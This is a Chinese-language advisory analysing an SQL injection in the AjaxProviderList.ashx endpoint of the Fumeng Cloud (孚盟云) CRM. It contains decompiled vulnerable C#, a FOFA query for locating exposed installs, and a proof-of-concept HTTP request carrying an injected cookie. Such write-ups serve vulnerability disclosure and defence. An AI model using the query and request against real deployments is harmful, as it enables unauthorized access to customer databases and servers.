漏洞简介
上海孚盟软件有限公司是一家专业的外贸SaaS服务和行业解决方案提供商。其旗下产品孚盟云AjaxProviderList.ashx接口存在SQL注入漏洞,未经身份验证的远程攻击者除了可以利用SQL注入漏洞获取数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。
影响版本
fofa语法
app="孚盟软件-孚盟云"
漏洞分析
直接看 AjaxProviderList.ashx 对应的dll文件 FumaCRM_BS.NewWeb.dll 里有关 AjaxProviderList 方法的实现如下
public void ProcessRequest(HttpContext context)
{
context.Response.ContentType = "text/plain";
if (string.IsNullOrEmpty(UserCookie.GetCookieValue("empId")))
return;
this.empId = UserCookie.GetCookieValue("empId");
this.empId = FumaCRM_BS.Utility.Encrypt.Encrypt.DesDecrypt(this.empId);
string str = context.Request["method"].ToString();
if (!string.op_Equality(str, "more"))
{
if (!string.op_Equality(str, "showSate"))
{
if (!string.op_Equality(str, "search"))
{
if (!string.op_Equality(str, "SendMessage"))
return;
this.SendMessage(context, this.empId);
}
else
this.search(context, this.empId);
}
else
this.showSate(context, this.empId);
}
else
this.more(context, this.empId);
}
当method=SendMessage时,进入SendMessage方法
private void SendMessage(HttpContext context, string empID)
{
string str1 = context.Request["cid"];
string str2 = context.Request["FID"];
string str3 = context.Request["agentId"];
string str4 = context.Request["url"];
JsonSerializerSettings settings = new JsonSerializerSettings()
{
NullValueHandling = NullValueHandling.Ignore
};
string str5 = new CreatePageDao().GetDataSource($"select Dingding from bfEMP where EmpID='{empID}'").Rows[0][0].ToString();
参数empID被直接拼接进SQL语句中执行,期间无过滤或校验,从而造成SQL注入漏洞。
漏洞复现
POST /m/Dingding/Ajax/AjaxProviderList.ashx HTTP/1.1
Host: fumacrm.mrxn.net
Cookie: UserCookie={"empId":"'SQLI_POC--","corpId": "1"}
Content-Type: application/x-www-form-urlencoded
method=SendMessage





